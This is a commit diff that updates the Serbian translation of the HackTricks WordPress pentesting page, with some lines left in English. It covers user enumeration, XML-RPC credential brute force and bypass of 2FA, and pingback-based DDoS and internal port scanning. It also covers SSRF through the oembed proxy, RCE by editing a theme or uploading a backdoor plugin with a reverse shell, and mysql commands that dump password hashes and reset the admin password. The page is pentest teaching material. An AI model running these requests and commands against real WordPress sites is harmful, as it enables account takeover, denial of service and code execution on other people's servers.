mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/network-services-pentesting/pentesting-web/wordpres
This commit is contained in:
parent
8c0bea2fb1
commit
39dc59c9c1
@ -4,49 +4,49 @@
|
||||
|
||||
## Osnovne informacije
|
||||
|
||||
- **Uploaded** datoteke idu na: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
|
||||
- **Teme se mogu naći u /wp-content/themes/,** tako da ako promenite neki php u temi da biste dobili RCE, verovatno ćete koristiti taj put. Na primer: Koristeći **temu twentytwelve** možete **pristupiti** **404.php** datoteci u: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
- **Uploaded** fajlovi se nalaze na: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
|
||||
- **Datoteke tema se mogu naći u /wp-content/themes/,** pa ako izmenite neki php u temi da biste dobili RCE verovatno ćete koristiti taj put. Na primer: Koristeći temu **twentytwelve** možete **pristupiti** fajlu **404.php** u: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
- **Još jedan koristan URL može biti:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
- **Još jedan koristan url može biti:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
- U **wp-config.php** možete pronaći root lozinku baze podataka.
|
||||
- Podrazumevani putanje za prijavu koje treba proveriti: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
|
||||
- Podrazumevane putanje za login koje treba proveriti: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
|
||||
|
||||
### **Glavne WordPress datoteke**
|
||||
|
||||
- `index.php`
|
||||
- `license.txt` sadrži korisne informacije kao što je verzija WordPress-a koja je instalirana.
|
||||
- `wp-activate.php` se koristi za proces aktivacije putem e-pošte prilikom postavljanja nove WordPress stranice.
|
||||
- Folderi za prijavu (mogu biti preimenovani da bi se sakrili):
|
||||
- `license.txt` sadrži korisne informacije kao što je verzija instaliranog WordPress-a.
|
||||
- `wp-activate.php` se koristi za proces aktivacije putem emaila prilikom podešavanja novog WordPress sajta.
|
||||
- Login fajlovi/putanje (mogu biti preimenovani da bi se sakrili):
|
||||
- `/wp-admin/login.php`
|
||||
- `/wp-admin/wp-login.php`
|
||||
- `/login.php`
|
||||
- `/wp-login.php`
|
||||
- `xmlrpc.php` je datoteka koja predstavlja funkciju WordPress-a koja omogućava prenos podataka putem HTTP-a kao transportnog mehanizma i XML-a kao mehanizma kodiranja. Ova vrsta komunikacije je zamenjena WordPress [REST API](https://developer.wordpress.org/rest-api/reference).
|
||||
- Folder `wp-content` je glavna direktorijum gde se čuvaju dodaci i teme.
|
||||
- `wp-content/uploads/` je direktorijum gde se čuvaju sve datoteke koje su otpremljene na platformu.
|
||||
- `wp-includes/` Ovo je direktorijum gde se čuvaju osnovne datoteke, kao što su sertifikati, fontovi, JavaScript datoteke i dodaci.
|
||||
- `wp-sitemap.xml` U WordPress verzijama 5.5 i većim, WordPress generiše XML datoteku mape sajta sa svim javnim postovima i javno upitnim tipovima postova i taksonomijama.
|
||||
- `xmlrpc.php` je fajl koji predstavlja funkcionalnost WordPress-a koja omogućava prenos podataka koristeći HTTP kao transportni mehanizam i XML kao mehanizam kodiranja. Ovakva vrsta komunikacije je zamenjena WordPress [REST API](https://developer.wordpress.org/rest-api/reference).
|
||||
- Folder `wp-content` je glavni direktorijum gde se čuvaju plugins i teme.
|
||||
- `wp-content/uploads/` je direktorijum gde se čuvaju svi fajlovi otpremljeni na platformu.
|
||||
- `wp-includes/` je direktorijum gde se nalaze core fajlovi, kao što su sertifikati, fontovi, JavaScript fajlovi i widgeti.
|
||||
- `wp-sitemap.xml` U WordPress verzijama 5.5 i novijim, WordPress generiše sitemap XML fajl sa svim javnim objavama i javno upitnim tipovima postova i taksonomijama.
|
||||
|
||||
**Post exploitation**
|
||||
|
||||
- Datoteka `wp-config.php` sadrži informacije potrebne WordPress-u za povezivanje sa bazom podataka, kao što su ime baze podataka, host baze podataka, korisničko ime i lozinka, ključevi za autentifikaciju i soli, i prefiks tabela baze podataka. Ova konfiguraciona datoteka se takođe može koristiti za aktiviranje DEBUG moda, što može biti korisno u rešavanju problema.
|
||||
- Fajl `wp-config.php` sadrži informacije potrebne WordPress-u za povezivanje sa bazom podataka kao što su ime baze, host baze, korisničko ime i lozinka, authentication keys and salts, i prefiks tabela u bazi. Ovaj konfiguracioni fajl se takođe može iskoristiti za aktivaciju DEBUG moda, što može biti korisno pri otklanjanju problema.
|
||||
|
||||
### Dozvole korisnika
|
||||
### Korisničke dozvole
|
||||
|
||||
- **Administrator**
|
||||
- **Editor**: Objavljuje i upravlja svojim i tuđim postovima
|
||||
- **Author**: Objavljuje i upravlja svojim postovima
|
||||
- **Contributor**: Piše i upravlja svojim postovima, ali ih ne može objaviti
|
||||
- **Subscriber**: Pregleda postove i uređuje svoj profil
|
||||
- **Contributor**: Piše i upravlja svojim postovima, ali ne može da ih objavi
|
||||
- **Subscriber**: Pregleda postove i menja svoj profil
|
||||
|
||||
## **Pasivna enumeracija**
|
||||
|
||||
### **Dobijanje WordPress verzije**
|
||||
|
||||
Proverite da li možete pronaći datoteke `/license.txt` ili `/readme.html`
|
||||
Proverite da li možete pronaći fajlove `/license.txt` ili `/readme.html`
|
||||
|
||||
Unutar **izvora koda** stranice (primer sa [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
|
||||
U **izvornom kodu** stranice (primer sa [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
|
||||
|
||||
- grep
|
||||
```bash
|
||||
@ -56,58 +56,60 @@ curl https://victim.com/ | grep 'content="WordPress'
|
||||
|
||||
.png>)
|
||||
|
||||
- CSS link datoteke
|
||||
- CSS link files
|
||||
|
||||
.png>)
|
||||
|
||||
- JavaScript datoteke
|
||||
- JavaScript files
|
||||
|
||||
.png>)
|
||||
|
||||
### Preuzmi dodatke
|
||||
```bash
|
||||
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||||
```
|
||||
### Preuzmi teme
|
||||
### Dobavljanje tema
|
||||
```bash
|
||||
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||||
```
|
||||
### Ekstraktovanje verzija uopšte
|
||||
### Izvlačenje verzija uopšteno
|
||||
```bash
|
||||
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||||
|
||||
```
|
||||
## Aktivna enumeracija
|
||||
|
||||
### Plugin-i i Teme
|
||||
### Plugins and Themes
|
||||
|
||||
Verovatno nećete moći da pronađete sve moguće Plugin-e i Teme. Da biste ih otkrili, moraćete da **aktivno Brute Force-ujete listu Plugin-a i Tema** (nadamo se da postoje automatski alati koji sadrže ove liste).
|
||||
Verovatno nećete moći da pronađete sve Plugins and Themes. Da biste otkrili sve, moraćete da **aktivno Brute Force listu Plugins and Themes** (nadamo se da postoje automatizovani alati koji sadrže te liste).
|
||||
|
||||
### Korisnici
|
||||
|
||||
- **ID Brute:** Dobijate validne korisnike sa WordPress sajta Brute Forcing-om korisničkih ID-eva:
|
||||
- **ID Brute:** Dobijate validne korisnike sa WordPress sajta Brute Forcing korisničkih ID-eva:
|
||||
```bash
|
||||
curl -s -I -X GET http://blog.example.com/?author=1
|
||||
```
|
||||
Ako su odgovori **200** ili **30X**, to znači da je id **validan**. Ako je odgovor **400**, onda je id **nevalidan**.
|
||||
Ako su odgovori **200** ili **30X**, to znači da je id **važeći**. Ako je odgovor **400**, onda je id **nevažeći**.
|
||||
|
||||
- **wp-json:** Takođe možete pokušati da dobijete informacije o korisnicima upitom:
|
||||
```bash
|
||||
curl http://blog.example.com/wp-json/wp/v2/users
|
||||
```
|
||||
Još jedan `/wp-json/` krajnji tačka koja može otkriti neke informacije o korisnicima je:
|
||||
Još jedan `/wp-json/` endpoint koji može otkriti neke informacije o korisnicima je:
|
||||
```bash
|
||||
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
```
|
||||
Napomena da ovaj krajnji tačka izlaže samo korisnike koji su napravili post. **Samo informacije o korisnicima koji imaju ovu funkciju omogućenu će biti pružene**.
|
||||
Imajte na umu da ovaj endpoint izlaže samo korisnike koji su napravili post. **Biće pružene samo informacije o korisnicima koji imaju ovu funkciju omogućenu**.
|
||||
|
||||
Takođe, napomena da **/wp-json/wp/v2/pages** može da otkrije IP adrese.
|
||||
Takođe imajte na umu da **/wp-json/wp/v2/pages** može leak-ovati IP adrese.
|
||||
|
||||
- **Enumeracija korisničkih imena za prijavu**: Kada se prijavljujete na **`/wp-login.php`**, **poruka** je **drugačija** u zavisnosti od toga da li je navedeno **korisničko ime postoji ili ne**.
|
||||
- **Login username enumeration**: Prilikom prijavljivanja na **`/wp-login.php`**, **poruka** će biti **različita** u zavisnosti od toga da li navedeni **username** postoji ili ne.
|
||||
|
||||
### XML-RPC
|
||||
|
||||
Ako je `xml-rpc.php` aktivan, možete izvršiti brute-force napad na kredencijale ili ga koristiti za pokretanje DoS napada na druge resurse. (Možete automatizovati ovaj proces[ koristeći ovo](https://github.com/relarizky/wpxploit) na primer).
|
||||
Ako je `xml-rpc.php` aktivan, možete izvršiti credentials brute-force ili ga iskoristiti za pokretanje DoS napada na druge resurse. (You can automate this process[ using this](https://github.com/relarizky/wpxploit) for example).
|
||||
|
||||
Da biste proverili da li je aktivan, pokušajte da pristupite _**/xmlrpc.php**_ i pošaljite ovaj zahtev:
|
||||
Da biste proverili da li je aktivan, pokušajte da pristupite _**/xmlrpc.php**_ i pošaljete ovaj zahtev:
|
||||
|
||||
**Proveri**
|
||||
```html
|
||||
@ -118,9 +120,9 @@ Da biste proverili da li je aktivan, pokušajte da pristupite _**/xmlrpc.php**_
|
||||
```
|
||||

|
||||
|
||||
**Bruteforce kredencijali**
|
||||
**Credentials Bruteforce**
|
||||
|
||||
**`wp.getUserBlogs`**, **`wp.getCategories`** ili **`metaWeblog.getUsersBlogs`** su neke od metoda koje se mogu koristiti za bruteforce kredencijale. Ako možete pronaći neku od njih, možete poslati nešto poput:
|
||||
**`wp.getUserBlogs`**, **`wp.getCategories`** ili **`metaWeblog.getUsersBlogs`** su neke od metoda koje se mogu koristiti za brute-force credentials. Ako pronađete neku od njih, možete poslati nešto poput:
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>wp.getUsersBlogs</methodName>
|
||||
@ -130,13 +132,13 @@ Da biste proverili da li je aktivan, pokušajte da pristupite _**/xmlrpc.php**_
|
||||
</params>
|
||||
</methodCall>
|
||||
```
|
||||
Poruka _"Pogrešno korisničko ime ili lozinka"_ unutar odgovora sa kodom 200 treba da se pojavi ako akreditivi nisu validni.
|
||||
Poruka _"Incorrect username or password"_ u odgovoru sa status kodom 200 treba da se pojavi ako pristupni podaci nisu validni.
|
||||
|
||||
 (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
|
||||
|
||||
.png>)
|
||||
|
||||
Koristeći ispravne akreditive možete da otpremite datoteku. U odgovoru će se pojaviti putanja ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
|
||||
Korišćenjem tačnih pristupnih podataka možete otpremiti fajl. U odgovoru će se pojaviti putanja ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
|
||||
```html
|
||||
<?xml version='1.0' encoding='utf-8'?>
|
||||
<methodCall>
|
||||
@ -166,18 +168,18 @@ Koristeći ispravne akreditive možete da otpremite datoteku. U odgovoru će se
|
||||
</params>
|
||||
</methodCall>
|
||||
```
|
||||
Takođe postoji **brži način** za brute-force kredencijale koristeći **`system.multicall`** jer možete pokušati nekoliko kredencijala u istom zahtevu:
|
||||
Also there is a **faster way** to brute-force credentials using **`system.multicall`** as you can try several credentials on the same request:
|
||||
|
||||
<figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Obilaženje 2FA**
|
||||
**Bypass 2FA**
|
||||
|
||||
Ova metoda je namenjena programima, a ne ljudima, i stara je, stoga ne podržava 2FA. Dakle, ako imate važeće kredencijale, ali je glavni ulaz zaštićen 2FA, **možda ćete moći da iskoristite xmlrpc.php da se prijavite sa tim kredencijalima obilažeći 2FA**. Imajte na umu da nećete moći da izvršite sve radnje koje možete da uradite putem konzole, ali možda ćete i dalje moći da dođete do RCE-a kao što Ippsec objašnjava u [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
|
||||
Ovaj metod je namenjen programima, a ne ljudima, i star je, zato ne podržava 2FA. Dakle, ako imate validne creds ali je glavni ulaz zaštićen 2FA, **možda ćete moći da zloupotrebite xmlrpc.php da se prijavite tim creds i zaobiđete 2FA**. Imajte na umu da nećete moći da izvršite sve akcije koje možete kroz console, ali i dalje biste mogli da dođete do RCE kao što Ippsec objašnjava u [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
|
||||
|
||||
**DDoS ili skeniranje portova**
|
||||
**DDoS or port scanning**
|
||||
|
||||
Ako možete pronaći metodu _**pingback.ping**_ unutar liste, možete naterati Wordpress da pošalje proizvoljan zahtev bilo kojem hostu/portu.\
|
||||
Ovo se može koristiti da se zatraži **hiljade** Wordpress **sajtova** da **pristupe** jednoj **lokaciji** (tako da se izazove **DDoS** u toj lokaciji) ili možete to koristiti da naterate **Wordpress** da **skanira** neku internu **mrežu** (možete naznačiti bilo koji port).
|
||||
If you can find the method _**pingback.ping**_ inside the list you can make the Wordpress send an arbitrary request to any host/port.\
|
||||
This can be used to ask **thousands** of Wordpress **sites** to **access** one **location** (so a **DDoS** is caused in that location) or you can use it to make **Wordpress** to **scan** some internal **network** (you can indicate any port).
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>pingback.ping</methodName>
|
||||
@ -191,7 +193,7 @@ Ovo se može koristiti da se zatraži **hiljade** Wordpress **sajtova** da **pri
|
||||
|
||||
Ako dobijete **faultCode** sa vrednošću **većom** od **0** (17), to znači da je port otvoren.
|
||||
|
||||
Pogledajte korišćenje **`system.multicall`** u prethodnom odeljku da biste naučili kako da zloupotrebite ovu metodu za izazivanje DDoS-a.
|
||||
Pogledajte upotrebu **`system.multicall`** u prethodnom odeljku da naučite kako da zloupotrebite ovu metodu za izazivanje DDoS-a.
|
||||
|
||||
**DDoS**
|
||||
```html
|
||||
@ -207,17 +209,17 @@ Pogledajte korišćenje **`system.multicall`** u prethodnom odeljku da biste nau
|
||||
|
||||
### wp-cron.php DoS
|
||||
|
||||
Ova datoteka obično postoji u korenu Wordpress sajta: **`/wp-cron.php`**\
|
||||
Kada se ova datoteka **pristupi**, izvršava se "**teška**" MySQL **upit**, tako da bi mogla biti korišćena od strane **napadača** da **uzrokuje** **DoS**.\
|
||||
Takođe, po defaultu, `wp-cron.php` se poziva pri svakom učitavanju stranice (svaki put kada klijent zatraži neku Wordpress stranicu), što na sajtovima sa velikim prometom može izazvati probleme (DoS).
|
||||
Ovaj fajl obično postoji u root direktorijumu Wordpress sajta: **`/wp-cron.php`**\
|
||||
Kada se pristupi ovom fajlu, izvrši se **intenzivan** MySQL **upit**, pa bi mogao biti iskorišćen od strane **attackers** da **izazove** **DoS**.\
|
||||
Takođe, podrazumevano, `wp-cron.php` se poziva pri svakom učitavanju stranice (svaki put kada klijent zatraži bilo koju Wordpress stranicu), što na sajtovima sa velikim prometom može izazvati probleme (DoS).
|
||||
|
||||
Preporučuje se da se onemogući Wp-Cron i da se kreira pravi cronjob unutar hosta koji izvršava potrebne radnje u redovnim intervalima (bez izazivanja problema).
|
||||
Preporučuje se onemogućiti Wp-Cron i kreirati pravi cronjob na hostu koji će izvršavati potrebne akcije u redovnim intervalima (bez izazivanja problema).
|
||||
|
||||
### /wp-json/oembed/1.0/proxy - SSRF
|
||||
|
||||
Pokušajte da pristupite _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ i Wordpress sajt može da pošalje zahtev ka vama.
|
||||
Pokušajte da pristupite _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ i Worpress sajt možda će napraviti zahtev ka vama.
|
||||
|
||||
Ovo je odgovor kada ne funkcioniše:
|
||||
This is the response when it doesn't work:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -228,32 +230,32 @@ Ovo je odgovor kada ne funkcioniše:
|
||||
https://github.com/t0gu/quickpress/blob/master/core/requests.go
|
||||
{{#endref}}
|
||||
|
||||
Ovaj alat proverava da li **methodName: pingback.ping** postoji za putanju **/wp-json/oembed/1.0/proxy** i ako postoji, pokušava da ih iskoristi.
|
||||
Ovaj alat proverava da li postoji **methodName: pingback.ping** i putanja **/wp-json/oembed/1.0/proxy**, i ako postoje, pokušava da ih iskoristi.
|
||||
|
||||
## Automatic Tools
|
||||
## Automatski alati
|
||||
```bash
|
||||
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
|
||||
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
|
||||
#You can try to bruteforce the admin user using wpscan with "-U admin"
|
||||
```
|
||||
## Dobijanje pristupa prepisivanjem bita
|
||||
## Dobijte pristup prepisivanjem bita
|
||||
|
||||
Više od pravog napada, ovo je radoznalost. U CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) mogli ste da preokrenete 1 bit iz bilo kog wordpress fajla. Tako ste mogli da preokrenete poziciju `5389` fajla `/var/www/html/wp-includes/user.php` da NOP-ujete NOT (`!`) operaciju.
|
||||
Više je radoznalost nego stvarni napad. U CTF-u [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) mogao si promeniti 1 bit u bilo kojoj wordpress datoteci. Dakle, mogao si promeniti poziciju `5389` datoteke `/var/www/html/wp-includes/user.php` tako da se NOT (`!`) operacija pretvori u NOP.
|
||||
```php
|
||||
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
|
||||
return new WP_Error(
|
||||
```
|
||||
## **Panel RCE**
|
||||
|
||||
**Modifikovanje php iz teme koja se koristi (potrebne admin kredencijale)**
|
||||
**Izmena php fajla iz korišćene teme (potrebni admin kredencijali)**
|
||||
|
||||
Izgled → Urednik teme → 404 Šablon (s desne strane)
|
||||
Appearance → Theme Editor → 404 Template (sa desne strane)
|
||||
|
||||
Promenite sadržaj za php shell:
|
||||
Zamenite sadržaj php fajla php shell-om:
|
||||
|
||||
.png>)
|
||||
|
||||
Pretražite internet kako možete pristupiti toj ažuriranoj stranici. U ovom slučaju morate pristupiti ovde: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
Potražite na internetu kako pristupiti toj ažuriranoj stranici. U ovom slučaju pristupite ovde: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
### MSF
|
||||
|
||||
@ -261,97 +263,97 @@ Možete koristiti:
|
||||
```bash
|
||||
use exploit/unix/webapp/wp_admin_shell_upload
|
||||
```
|
||||
to get a session.
|
||||
da biste dobili session.
|
||||
|
||||
## Plugin RCE
|
||||
|
||||
### PHP plugin
|
||||
|
||||
Možda je moguće uploadovati .php fajlove kao plugin.\
|
||||
Kreirajte svoj php backdoor koristeći, na primer:
|
||||
It may be possible to upload .php files as a plugin.\
|
||||
Create your php backdoor using for example:
|
||||
|
||||
.png>)
|
||||
|
||||
Zatim dodajte novi plugin:
|
||||
Then add a new plugin:
|
||||
|
||||
.png>)
|
||||
|
||||
Uploadujte plugin i pritisnite Install Now:
|
||||
Upload plugin and press Install Now:
|
||||
|
||||
.png>)
|
||||
|
||||
Kliknite na Procced:
|
||||
Click on Procced:
|
||||
|
||||
.png>)
|
||||
|
||||
Verovatno ovo neće učiniti ništa očigledno, ali ako odete na Media, videćete vaš shell uploadovan:
|
||||
Probably this won't do anything apparently, but if you go to Media, you will see your shell uploaded:
|
||||
|
||||
.png>)
|
||||
|
||||
Pristupite mu i videćete URL za izvršavanje reverse shell-a:
|
||||
Access it and you will see the URL to execute the reverse shell:
|
||||
|
||||
.png>)
|
||||
|
||||
### Uploading and activating malicious plugin
|
||||
|
||||
Ova metoda uključuje instalaciju malicioznog plugina za koji se zna da je ranjiv i može se iskoristiti za dobijanje web shell-a. Ovaj proces se sprovodi kroz WordPress kontrolnu tablu na sledeći način:
|
||||
Ovaj metod uključuje instalaciju malicioznog plugina za koji je poznato da je ranjiv i koji se može iskoristiti za dobijanje web shell-a. Ovaj proces se izvodi kroz WordPress dashboard na sledeći način:
|
||||
|
||||
1. **Plugin Acquisition**: Plugin se dobija iz izvora kao što je Exploit DB kao [**here**](https://www.exploit-db.com/exploits/36374).
|
||||
1. **Plugin Acquisition**: The plugin is obtained from a source like Exploit DB like [**here**](https://www.exploit-db.com/exploits/36374).
|
||||
2. **Plugin Installation**:
|
||||
- Idite na WordPress kontrolnu tablu, zatim idite na `Dashboard > Plugins > Upload Plugin`.
|
||||
- Uploadujte zip fajl preuzetog plugina.
|
||||
3. **Plugin Activation**: Kada je plugin uspešno instaliran, mora se aktivirati kroz kontrolnu tablu.
|
||||
- Navigate to the WordPress dashboard, then go to `Dashboard > Plugins > Upload Plugin`.
|
||||
- Upload the zip file of the downloaded plugin.
|
||||
3. **Plugin Activation**: Once the plugin is successfully installed, it must be activated through the dashboard.
|
||||
4. **Exploitation**:
|
||||
- Sa instaliranim i aktiviranim pluginom "reflex-gallery", može se iskoristiti jer je poznato da je ranjiv.
|
||||
- Metasploit framework pruža exploit za ovu ranjivost. Učitajte odgovarajući modul i izvršite specifične komande da biste uspostavili meterpreter sesiju, što omogućava neovlašćen pristup sajtu.
|
||||
- Napominje se da je ovo samo jedna od mnogih metoda za iskorišćavanje WordPress sajta.
|
||||
- With the plugin "reflex-gallery" installed and activated, it can be exploited as it is known to be vulnerable.
|
||||
- The Metasploit framework provides an exploit for this vulnerability. By loading the appropriate module and executing specific commands, a meterpreter session can be established, granting unauthorized access to the site.
|
||||
- It's noted that this is just one of the many methods to exploit a WordPress site.
|
||||
|
||||
Sadržaj uključuje vizuelne prikaze koji prikazuju korake u WordPress kontrolnoj tabli za instalaciju i aktivaciju plugina. Međutim, važno je napomenuti da je iskorišćavanje ranjivosti na ovaj način ilegalno i neetično bez odgovarajuće dozvole. Ove informacije treba koristiti odgovorno i samo u legalnom kontekstu, kao što je pentesting sa izričitom dozvolom.
|
||||
Sadržaj uključuje vizuelne prikaze koji ilustruju korake u WordPress dashboard-u za instalaciju i aktiviranje plugina. Međutim, važno je napomenuti da je eksploatisanje ranjivosti na ovaj način protivzakonito i neetično bez odgovarajuće autorizacije. Ove informacije treba koristiti odgovorno i samo u legalnom kontekstu, kao što je penetration testing sa izričitim dopuštenjem.
|
||||
|
||||
**For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
|
||||
|
||||
## From XSS to RCE
|
||||
|
||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ je skripta dizajnirana da eskalira **Cross-Site Scripting (XSS)** ranjivost na **Remote Code Execution (RCE)** ili druge kritične ranjivosti u WordPress-u. Za više informacija pogledajte [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Pruža **podršku za Wordpress verzije 6.X.X, 5.X.X i 4.X.X i omogućava:**
|
||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ je skripta dizajnirana da eskalira **Cross-Site Scripting (XSS)** ranjivost u **Remote Code Execution (RCE)** ili druge kritične ranjivosti u WordPress. Za više informacija pogledajte [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Pruža podršku za Wordpress verzije 6.X.X, 5.X.X i 4.X.X i omogućava:
|
||||
- _**Privilege Escalation:**_ Kreira korisnika u WordPress-u.
|
||||
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Uploadujte svoj prilagođeni plugin (backdoor) u WordPress.
|
||||
- _**(RCE) Built-In Plugin Edit:**_ Uredite ugrađene plugine u WordPress-u.
|
||||
- _**(RCE) Built-In Theme Edit:**_ Uredite ugrađene teme u WordPress-u.
|
||||
- _**(Custom) Custom Exploits:**_ Prilagođeni exploits za treće strane WordPress plugine/teme.
|
||||
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Uploadujte svoj custom plugin (backdoor) u WordPress.
|
||||
- _**(RCE) Built-In Plugin Edit:**_ Izmenite ugrađene plugine u WordPress-u.
|
||||
- _**(RCE) Built-In Theme Edit:**_ Izmenite ugrađene teme u WordPress-u.
|
||||
- _**(Custom) Custom Exploits:**_ Custom Exploits za third-party WordPress plugine/teme.
|
||||
|
||||
## Post Exploitation
|
||||
|
||||
Izvucite korisnička imena i lozinke:
|
||||
Ekstrahujte korisnička imena i lozinke:
|
||||
```bash
|
||||
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
|
||||
```
|
||||
Promenite administratorsku lozinku:
|
||||
Promeni administratorsku lozinku:
|
||||
```bash
|
||||
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
|
||||
```
|
||||
## Wordpress Plugins Pentest
|
||||
|
||||
### Attack Surface
|
||||
### Površina napada
|
||||
|
||||
Znanje o tome kako Wordpress plugin može izložiti funkcionalnost je ključno za pronalaženje ranjivosti u njegovoj funkcionalnosti. Možete pronaći kako plugin može izložiti funkcionalnost u sledećim tačkama i neke primere ranjivih plugina u [**ovom blog postu**](https://nowotarski.info/wordpress-nonce-authorization/).
|
||||
Poznavanje načina na koji Wordpress plugin može izložiti funkcionalnost ključno je za pronalaženje ranjivosti. Način na koji plugin može izložiti funkcionalnost opisan je u sledećim tačkama, a primeri ranjivih pluginova nalaze se u [**ovom članku**](https://nowotarski.info/wordpress-nonce-authorization/).
|
||||
|
||||
- **`wp_ajax`**
|
||||
|
||||
Jedan od načina na koji plugin može izložiti funkcije korisnicima je putem AJAX handlera. Ovi handleri mogu sadržati logiku, greške u autorizaciji ili autentifikaciji. Štaviše, često se dešava da će ove funkcije zasnivati i autentifikaciju i autorizaciju na postojanju Wordpress nonce-a koji **bilo koji korisnik autentifikovan u Wordpress instanci može imati** (nezavisno od njegove uloge).
|
||||
Jedan od načina na koji plugin može izložiti funkcije korisnicima je preko AJAX handlers. Oni mogu sadržati greške u logici, autorizaciji ili autentikaciji. Štaviše, često se dešava da ove funkcije zasnivaju i autentifikaciju i autorizaciju na postojanju wordpress nonce-a koji **bilo koji korisnik autentifikovan u Wordpress instanci može imati** (bez obzira na svoju ulogu).
|
||||
|
||||
Ovo su funkcije koje se mogu koristiti za izlaganje funkcije u pluginu:
|
||||
Ovo su funkcije koje se mogu koristiti za izlaganje funkcionalnosti u pluginu:
|
||||
```php
|
||||
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
|
||||
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
|
||||
```
|
||||
**Korišćenje `nopriv` čini krajnju tačku dostupnom svim korisnicima (čak i neautentifikovanim).**
|
||||
**Korišćenje `nopriv` čini endpoint dostupnim svim korisnicima (čak i neautentifikovanim).**
|
||||
|
||||
> [!CAUTION]
|
||||
> Pored toga, ako funkcija samo proverava autorizaciju korisnika pomoću funkcije `wp_verify_nonce`, ova funkcija samo proverava da li je korisnik prijavljen, obično ne proverava ulogu korisnika. Tako da korisnici sa niskim privilegijama mogu imati pristup akcijama sa visokim privilegijama.
|
||||
> Štaviše, ako funkcija samo proverava autorizaciju korisnika funkcijom `wp_verify_nonce`, ta funkcija samo proverava da li je korisnik prijavljen — obično ne proverava ulogu korisnika. Dakle, korisnici sa niskim privilegijama mogu imati pristup akcijama sa visokim privilegijama.
|
||||
|
||||
- **REST API**
|
||||
|
||||
Takođe je moguće izložiti funkcije iz WordPress-a registrujući REST AP koristeći funkciju `register_rest_route`:
|
||||
Takođe je moguće izložiti funkcije iz wordpress registracijom REST API-ja koristeći funkciju `register_rest_route`:
|
||||
```php
|
||||
register_rest_route(
|
||||
$this->namespace, '/get/', array(
|
||||
